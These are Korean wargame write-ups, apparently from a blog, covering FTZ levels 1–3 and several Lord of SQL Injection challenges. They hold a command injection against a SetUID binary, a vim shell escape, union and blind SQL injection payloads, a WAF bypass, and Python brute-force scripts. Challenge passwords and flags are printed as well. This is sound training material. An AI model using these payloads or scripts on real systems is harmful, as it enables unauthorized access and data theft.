728x90

cat hint를 입력하면 hint 파일이 출력된다.

다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

autodig 프로그램의 소스파일이다.

실행파일의 인자로 문자열 형태로 동시에 여러 명령어를 사용해야한다.

c언어 실행파일의 인자값에 다음과 같이 전달하면 된다.

실행파일 "ls;pwd" 이런식으로 전달하면 동시에 여러 명령어를 문자열 형태로 실행파일에 전달가능하다.

;가 명령어의 구분을 해주며 앞에서부터 순차적으로 실행시킨다.

find -user level4 -perm -4000

위의 명령어를 통해 level4 권한의 SetUID가 설정된 파일을 찾는다.

그래야 level4 권한을 이용해 명령어를 실행할 수 있다.

/bin/autodig라는 파일이 나온다.

/bin/autodig ";my-pass;"

위의 명령어를 입력하면 level4 권한으로 my-pass가 실행된다.

내가 입력한 ";my-pass;"는 cmd 배열에 다음과 같은 형태로 저장되고 cmd가 실행된다.

dig @;my-pass; version.bind chaos txt

dig @는 에러 발생한다.

이어서 my-pass가 실행된다. level4의 패스워드가 출력된다.

이어서 version.bind chaos txt가 실행되는데 이런 명령도 없다. 따라서 에러가 발생한다.

참고로 dig는 DNS 서버와 통신을 점검하는 명령이다.

dig @DNS 서버ip version.bind chaos txt 형태로 사용한다.

Level4 Password is "suck my brain".

 

 

728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level2  (0) 2023.01.07
level1  (1) 2023.01.07
728x90

cat hint를 입력하면 hint 텍스트 파일의 내용을 알 수 있다.

힌트 내용은 다음과 같다.

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

find / -user level3 -perm -4000 2> /dev/null

파일 소유자가 level3이고 SetUID가 설정된 파일을 찾는데 표준 에러는 출력되지 않게 하는 명령이다.

그 결과 /usr/bin/editor이 보인다.

/usr/bin/editor을 실행한다.

그럼 vim이 실행된다. vim에서 쉘 명령어를 실행하려면 다음과 같이 입력한다.

:! 쉘 명령어

그럼 level3의 권한으로 /usr/bin/editor이 실행되고 종료까지 유지되기에 level3의 권한으로 쉘 명령어를 실행할 수 있다.

:! my-pass

Level3 Password is "can you fly?".
728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
level1  (1) 2023.01.07
728x90

trainer10 과정에서 id=level1 & pw=level1을 입력하면 level1에 로그인된다.

cat hint 명령어로 hint를 본다.

level2 권한에 setuid가 걸린 파일을 찾는다.

find / -user level2 -perm -4000 2>/dev/null

위의 명령어를 입력하면 파일이 나온다.

2>/dev/null에서 2는 표준 에러를 의미한다. 표준 에러를 /dev/null로 리다이렉션 시킨다.

그 결과 Permission denied라는 에러들은 /dev/null로 보내서 출력되지 않는다.

/dev/null은 블랙홀 같은 곳이다.

ls -l /bin/ExecuteMe

위의 명령어를 입력하면 level1도 실행권한이 있음을 알 수 있다.

/bin/ExecuteMe

명령어 입력 시 문구가 뜬다.  my-pass를 입력할 순 없다고 한다.

이때 /bin/bash를 입력한다. 그럼 level2의 권한으로 bash 쉘을 실행한다.

이제 my-pass 명령어를 입력해 level2의 비밀번호를 알아낸다.

my-pass 명령어는 비밀번호를 알 수 있는 ftz 자체 명령어다.(training 10에 나옴)

Level2 Password is "hacker or cracker"
728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
level2  (0) 2023.01.07
728x90

under construction이 뜨는걸 보아 공사 중인 거 같다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

poltergeist  (0) 2023.01.05
banshee  (0) 2023.01.05
manticore  (0) 2023.01.05
chupacabra  (0) 2023.01.05
cyclops  (0) 2023.01.04
728x90
<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.

메타데이터를 이용하는 거 같아서 MySQL 방식으로 information_schema.tables를 이용하니 안된다.

SQLite는 메타데이터 이름이 다르다.

sqlite_master 테이블을 이용해 테이블 명과 칼럼 명을 알 수 있다.

테이블명 조회: select tbl_name from sqlite_master;

칼럼명 조회: select sql from sqlite_master;

대신 칼럼명 조회는 위의 예시 그대로 치면 모든 테이블의 칼럼들을 조회한다. 그리고 정확히는 테이블을 생성할 때 사용한 쿼리문이 나온다. 이로부터 칼럼명도 알 수 있다.

 union select를 이용해 위의 쿼리문을 실행하면 결과는 다음과 같다.

1. ?pw=' union select group_concat(tbl_name) from sqlite_master --

Hello member,flag_70c81d99

group_concat(칼럼명)을 사용하면 해당 칼럼의 모든 데이터들이 , (쉼표)를 구분자로 하여 합쳐진 문자열이 반환된다.

SQLite에서 한 줄 주석은 --이며 블록 주석(여러 줄 주석)은 /**/이다.

1번 입력값을 대입한 결과 member와 flag_70c81d99 테이블이 있다는 것을 알 수 있다.

문제에서 falg_70c81d99에 Flag가 있다고 하니 계속 조회한다.

2. ?pw=' union select sql from sqlite_master where tbl_name='flag_70c81d99' --

Hello CREATE TABLE `flag_70c81d99` ( `flag_0876285c` TEXT )

flag_0876285c 칼럼이 있다는 것을 알 수 있다.

3. ?pw=' union select flag_0876285c from flag_70c81d99 --

Hello FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}

FLAG가 나온다.

답: ?pw=FLAG{ea5d3bbdcc4aec9abe416a9f66eaaa13}

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

nessie  (0) 2023.01.06
banshee  (0) 2023.01.05
manticore  (0) 2023.01.05
chupacabra  (0) 2023.01.05
cyclops  (0) 2023.01.04
728x90
<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/banshee.db");
  if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>login success!</h2>";

  $query = "select pw from member where id='admin'"; 
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("banshee"); 
  highlight_file(__FILE__);
?>

id가 존재하면 login success! 가 출력되는 것을 기반으로 Blind SQL Injection을 수행한다.

SQLite 한 줄 주석은 --이다.

import requests

url='https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={} --".format(pw_len),cookies=cookie)
        
        if 'login success!' in r.text:
            return pw_len
        else:
            pw_len+=1
#0313091b
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}' --".format(i,j),cookies=cookie)
            
            if 'login success!' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end='')
                    tmp=''
                break
            
find_pw()

답: ?pw=0313091b

728x90

'Lord of SQL Injection' 카테고리의 다른 글

nessie  (0) 2023.01.06
poltergeist  (0) 2023.01.05
manticore  (0) 2023.01.05
chupacabra  (0) 2023.01.05
cyclops  (0) 2023.01.04
728x90
<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/manticore.db");
  $_GET['id'] = addslashes($_GET['id']);
  $_GET['pw'] = addslashes($_GET['pw']);
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("manticore");
  highlight_file(__FILE__);
?>

이번에도 SQLite DB우회 문제이다.

시작부터 addslashes로 ',",\,NUL에 대하여 앞에\를 붙이는 이스케이프 처리한다.

MySQL에선 addslash를 우회가 어렵지만 SQLite에선 앞에 \를 붙인다고 '가 이스케이프 처리되지 않는다.

만약 id='\'라면 id가 \가 되는 것이다.

참고로 문자열 안에서 '를 이스케이프 처리하려면 \'가 아닌 ''(따옴표 2개)으로 사용한다.

답: ?id=' or id=char(97,100,109,105,110) --

입력하면 id='\' or id='admin' -- 이 된다.

id가 \인 id는 없어서 무시, SQLite에선 0x61646d696e가 안 통해서 char(97,100,109,105,110)으로 대체, 마지막 한 줄 주석을 사용하였다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

poltergeist  (0) 2023.01.05
banshee  (0) 2023.01.05
chupacabra  (0) 2023.01.05
cyclops  (0) 2023.01.04
godzilla  (0) 2023.01.04
728x90
<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

DB가 SQLite로 바뀐 것을 알 수 있다.

이전까지 WAF 우회였는데 이젠 DB가 바뀌었다.

SQLite에선 한 줄 주석이 -- 이다.

답: ?id=admin'--

728x90

'Lord of SQL Injection' 카테고리의 다른 글

banshee  (0) 2023.01.05
manticore  (0) 2023.01.05
cyclops  (0) 2023.01.04
godzilla  (0) 2023.01.04
death  (0) 2023.01.04
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

id는 first pw는 second이어야 문제가 풀린다.

문제에서 union select를 사용하라고 한다.

하지만 웹 방화벽에선 union select를 막고 있다. 따라서 우회 방법을 찾아보았다.

아래 링크에 다양한 우회 방법이 있다.

https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

 

SQL Injection Bypassing WAF | OWASP Foundation

SQL Injection Bypassing WAF on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

owasp.org

WAF를 우회하여 union select를 사용하는 방법 중 다음을 사용하였다.

union/**/select

답: ?id='<@ union/**/select 'first','second'%23

아래 링크에 왜 <@를 사용하는지 나와있다.

https://dbgdbg.tistory.com/entry/cthulhu

 

cthulhu

query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__);?>ModSecurity는 WAF(웹방화벽)이다. 이를 우회하는 문제다.https://github.com/SpiderLabs/owasp-modsecurity

dbgdbg.tistory.com

728x90

'Lord of SQL Injection' 카테고리의 다른 글

manticore  (0) 2023.01.05
chupacabra  (0) 2023.01.05
godzilla  (0) 2023.01.04
death  (0) 2023.01.04
cthulhu  (0) 2023.01.04
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

id가 존재하면 웹 페이지에 Hello admin을 출력한다.

admin의  pw를 알아내기 위해이를 기반으로 Blind SQL Injection을 수행한다.

지금까지 계속해오던 방식이라 쉽게 할 수 있을 것이다.

import requests

url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?id='<@ or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1

#a18a6cc5
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?id='<@ or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end='')
                    tmp=''
                break
    
find_pw()

공격 구문에 사용된 <@은 아래 문제 풀이를 참고하면 이해 가능하다.

https://dbgdbg.tistory.com/entry/cthulhu

 

cthulhu

query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__);?>ModSecurity는 WAF(웹방화벽)이다. 이를 우회하는 문제다.https://github.com/SpiderLabs/owasp-modsecurity

dbgdbg.tistory.com

답: ?pw=a18a6cc5

728x90

'Lord of SQL Injection' 카테고리의 다른 글

chupacabra  (0) 2023.01.05
cyclops  (0) 2023.01.04
death  (0) 2023.01.04
cthulhu  (0) 2023.01.04
alien  (0) 2023.01.04

+ Recent posts